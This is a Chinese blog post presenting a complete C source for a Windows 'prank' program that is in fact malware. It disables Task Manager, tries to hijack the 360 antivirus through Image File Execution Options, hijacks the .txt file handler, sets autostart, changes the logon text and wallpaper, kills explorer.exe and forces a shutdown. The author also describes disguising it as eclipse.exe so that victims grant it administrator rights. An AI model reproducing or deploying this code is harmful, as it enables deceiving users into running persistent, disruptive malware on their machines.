暑假了解过了windows编程的相关知识,也知道了注册表相关的操作。那时候就想自己写一个整人的程序。结果一直从暑假鸽到现在才写完。不知道大家小时候,有没有遇到过一个弹出”你是不是猪”窗口的整人程序,我的这个程序其实就是在那个程序基础上扩展了一些东西,一个升级版。程序伪装成java的编译器程序eclipse.exe来执行
首先,我们弹出的窗口不能被任务管理器关掉。我们在弹出窗口之前,应该先禁用任务管理器。
HKEY hkey;
DWORD dwDisable=1;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegSetValueEx(hkey,"DisableTaskMgr",NULL,REG_DWORD,(LPBYTE)&dwDisable, sizeof(DWORD));
RegCloseKey(hkey);
通过在[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]下新建一个键值名为DisableTaskMgr,键值为1的注册表键值,来实现禁用任务管理器。
接下来就是弹出”你是猪吗”对话框
int iRet_isPig,iRet_isCheat;
while (TRUE) {
iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
if (iRet_isPig == IDYES) {
MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
break;
}else if(iRet_isPig==IDNO){
iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
if (iRet_isCheat == IDYES) {
MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
continue;
}else if (iRet_isCheat == IDNO) {
MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
virus();
break;
}
}
}
简单的调用MessageBox。一些学过vb的初中生,高中生最喜欢拿这个函数整人了。在弹出”不,你是在骗我,哈皮”对话框后,开始执行恶意代码的主函数virus
virus函数主要实现了以下几个功能
1.获得当前文件所在的各种路径信息(执行文件所在路径,所在文件夹路径等等)
2.改变开机欢迎词
3.镜像劫持杀毒软件(现在的杀软太牛逼,这个功能其实一点屌用都没有)
4.黑屏
5.修改桌面背景
6.设置开机自启
7.设置txt文件自启
//执行文件所在路径
TCHAR szPath[MAX_PATH]={0};
GetModuleFileName(NULL,szPath,MAX_PATH);
//执行文件所在文件夹的路径
TCHAR szFolderPath[MAX_PATH]={0};
strcpy(szFolderPath,szPath);
(_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
//要更换壁纸的保存路径
TCHAR szChangeWallPaper[MAX_PATH]={0};
TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
strcpy(szChangeWallPaper,szFolderPath);
strcat(szChangeWallPaper,szPictureName);
通过GetModuleFileName来获得当前所在路径,得到的路径信息存储在szPath中,szFolderPath为所在文件夹的路径,szChangeWallPaper为我们想要更换的壁纸的保存路径
//修改开机欢迎词
TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
RegCloseKey(hkey);
//ImageHijack镜像劫持360
TCHAR szHijk[300]={0};
strcpy(szHijk,szPath);
strcat(szHijk,TEXT(" 360Safe"));
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
RegCloseKey(hkey);
if(iRet==0){
MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
}else{
MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
}
修改开机欢迎词没什么好说的,这里主要讲讲镜像劫持。本来想绑一个360的,结果实战的时候发现完全没屌用。杀毒软件防的很好,以Administrator权限在Image File Execution Options下新建项都拒绝访问。后来又在网上搜了一下,好像只能以system超级管理员权限才能修改。
还有一种关闭360自我保护的方法,但是需要打开360界面调设置。不好实现。
所以镜像劫持的功能就只能看看了。
//黑屏
BlockInput(TRUE);
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
Sleep(2000);
BlockInput(FALSE);
//修改桌面背景
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
RegCloseKey(hkey);
黑屏2秒,然后更换壁纸。
//设置开机自启
TCHAR szAutoRun[MAX_PATH]={0};
strcpy(szAutoRun,szPath);
strcat(szAutoRun,TEXT(" normal"));
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
RegCloseKey(hkey);
//设计txt文件自启
RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
RegCloseKey(hkey);
设置开机自启,txt文件自启。开机的时候,自动运行程序。双击打开txt文件的时候,也重定向到此程序。
Sleep(10000);
WinExec("taskkill /im explorer.exe /f",SW_HIDE);
Sleep(3000);
WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);
基础的DOS命令,关闭某个程序和关机
获得管理员权限提权
修改注册表需要管理员权限,这里主要的原理是自己调用自己,通过SHELLEXECUTEINFO的lpVerb参数为runas来实现.
VOID ManagerRun(LPCSTR exe,LPCSTR param){
SHELLEXECUTEINFO ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_SHOW;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteEx(&ShExecInfo);
CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
//隐藏控制台窗口
HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd){
ShowWindow(hwnd,SW_HIDE);
}
if(argc == 1){
//双击打开,只有一个参数
ShowWindow(GetConsoleWindow(),SW_HIDE);
ManagerRun(argv[0],"admin");
return 0;
}else if(strcmp(argv[1],"admin")==0){
//管理员打开
//程序主代码
}
}
用户不会将管理员权限给一个不明的程序,我们这里主要是把程序exe设置为跟eclipse一样的图标,把它放到eclipse主文件夹内,并替换原来的eclipse.exe,狸猫换太子。用户看到是eclipse获取管理员权限时,往往不会怀疑,从而达到骗取管理员权限的目的。
程序运行效果:
===============================================================================
程序源码:
#include <windows.h>
#include <winable.h>
#include <stdio.h>
#include <tchar.h>
void virus(){
DWORD dwWallPaperStyle=2;
int iRet;
HKEY hkey;
//执行文件所在路径
TCHAR szPath[MAX_PATH]={0};
GetModuleFileName(NULL,szPath,MAX_PATH);
//执行文件所在文件夹的路径
TCHAR szFolderPath[MAX_PATH]={0};
strcpy(szFolderPath,szPath);
(_tcsrchr(szFolderPath,TEXT('\\')))[1] = 0;
//要更换壁纸的保存路径
TCHAR szChangeWallPaper[MAX_PATH]={0};
TCHAR *szPictureName=TEXT("configuration\\org.eclipse.equinox.app\\.manager\\hack.jpg");
strcpy(szChangeWallPaper,szFolderPath);
strcat(szChangeWallPaper,szPictureName);
//修改开机欢迎词
TCHAR szCaptionText[50]=TEXT("你可能用了一个假的电脑");
TCHAR szMainText[300]=TEXT("由于在开机过程中受到不明第三方势力威胁,您的电脑在运行过程中感到非常害怕,一些系统必须的应用程序已经躲起,导致系统无法启动。");
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon",&hkey);
RegSetValueEx(hkey,"LegalNoticeCaption", NULL, REG_SZ, (LPBYTE)szCaptionText,sizeof(szCaptionText));
RegSetValueEx(hkey,"LegalNoticeText", NULL, REG_SZ, (LPBYTE)szMainText,sizeof(szMainText));
RegCloseKey(hkey);
//ImageHijack镜像劫持360
TCHAR szHijk[300]={0};
strcpy(szHijk,szPath);
strcat(szHijk,TEXT(" 360Safe"));
RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\360Safe.exe", &hkey);
iRet=RegSetValueEx(hkey, "Debugger", NULL, REG_SZ, (LPBYTE)szHijk, sizeof(szHijk));
RegCloseKey(hkey);
if(iRet==0){
MessageBox(NULL,TEXT("ImageHijacked successfully"),TEXT("Tips"),MB_OK);
}else{
MessageBox(NULL,TEXT("fail to ImageHijack"),TEXT("Tips"),MB_OK);
}
//黑屏
BlockInput(TRUE);
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND,SC_MONITORPOWER,2);
Sleep(2000);
BlockInput(FALSE);
//修改桌面背景
SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0,(PVOID)szChangeWallPaper, SPIF_UPDATEINIFILE);
RegCreateKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",&hkey);
RegSetValueEx(hkey,"Wallpaper",NULL,REG_SZ,(unsigned char*)szChangeWallPaper,sizeof(szChangeWallPaper));
RegSetValueEx(hkey,"WallpaperStyle",NULL,REG_DWORD,(LPBYTE)&dwWallPaperStyle,sizeof(DWORD));
RegCloseKey(hkey);
//设置开机自启
TCHAR szAutoRun[MAX_PATH]={0};
strcpy(szAutoRun,szPath);
strcat(szAutoRun,TEXT(" normal"));
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
RegSetValueEx(hkey,"病毒自启",NULL,REG_SZ, (LPBYTE)szAutoRun,MAX_PATH);
RegCloseKey(hkey);
//设计txt文件自启
RegCreateKey(HKEY_CLASSES_ROOT,"txtfile\\shell\\open\\command",&hkey);
RegSetValueEx(hkey,NULL, NULL, REG_EXPAND_SZ, (unsigned char *)szAutoRun,MAX_PATH);
RegCloseKey(hkey);
Sleep(10000);
WinExec("taskkill /im explorer.exe /f",SW_HIDE);
Sleep(3000);
WinExec("shutdown -s -t 10 -c 哈皮",SW_HIDE);
//蓝屏
// WinExec("taskkill /im wininit.exe /f",SW_HIDE);
}
VOID ManagerRun(LPCSTR exe,LPCSTR param){
SHELLEXECUTEINFO ShExecInfo;
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS ;
ShExecInfo.hwnd = NULL;
ShExecInfo.lpVerb = "runas";
ShExecInfo.lpFile = exe;
ShExecInfo.lpParameters = param;
ShExecInfo.lpDirectory = NULL;
ShExecInfo.nShow = SW_SHOW;
ShExecInfo.hInstApp = NULL;
BOOL ret = ShellExecuteEx(&ShExecInfo);
CloseHandle(ShExecInfo.hProcess);
}
int main(int argc,char *argv[]){
//隐藏控制台窗口
HWND hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd){
ShowWindow(hwnd,SW_HIDE);
}
if(argc == 1){
//双击打开,只有一个参数
ShowWindow(GetConsoleWindow(),SW_HIDE);
ManagerRun(argv[0],"admin");
return 0;
}else if(strcmp(argv[1],"admin")==0){
//管理员打开
//首先,禁用任务管理器
DWORD dwDisable=1;
HKEY hkey;
int iRet;
TCHAR ValueInfo[5];
DWORD ValueSize=sizeof(ValueInfo);
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
RegQueryValueEx(hkey,"DisableTaskMgr",NULL,NULL,(LPBYTE)ValueInfo,&ValueSize);
if(strcmp(ValueInfo,"\x01\x00\x00\x00")!=0){
iRet=RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&dwDisable, sizeof(DWORD));
RegCloseKey(hkey);
if(iRet==0){
MessageBox(NULL,TEXT("任务管理器已禁用"),TEXT("哈皮"),MB_OK);
}else{
MessageBox(NULL,TEXT("任务管理器禁用失败"),TEXT("Tips"),MB_OK);
}
}
int iRet_isPig,iRet_isCheat;
while (TRUE) {
iRet_isPig=MessageBox(NULL, TEXT("你是猪吗"), TEXT("问题"), MB_ICONQUESTION | MB_YESNO);
if (iRet_isPig == IDYES) {
MessageBox(NULL, TEXT("知道就好"), TEXT("不错"), MB_ICONINFORMATION|MB_OK);
break;
}else if(iRet_isPig==IDNO){
iRet_isCheat=MessageBox(NULL, TEXT("你在骗我吗"), TEXT("质问"), MB_ICONEXCLAMATION | MB_YESNO);
if (iRet_isCheat == IDYES) {
MessageBox(NULL, TEXT("好吧,再给你一次机会"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
continue;
}else if (iRet_isCheat == IDNO) {
MessageBox(NULL, TEXT("不,你是在骗我\n哈皮"), TEXT("警告"), MB_ICONEXCLAMATION | MB_OK);
virus();
break;
}
}
}
}else if(strcmp(argv[1],"360Safe")==0){
//360劫持嘲讽
//当用户打开360时,程序重定向到病毒程序
TCHAR *str[]={"不会吧","不会吧","不会真有人以为使用360就可以解决问题了吧"};
for(int i=0;i<sizeof(str)/sizeof(str[0]);i++){
MessageBox(NULL,str[i],TEXT("Tips"),MB_OK);
}
}else if(strcmp(argv[1],"normal")==0){
//病毒自启重定向
MessageBox(NULL, TEXT("哈哈,电脑好像中毒了呢"), TEXT("提示"), MB_ICONINFORMATION |MB_OK);
}
return 0;
}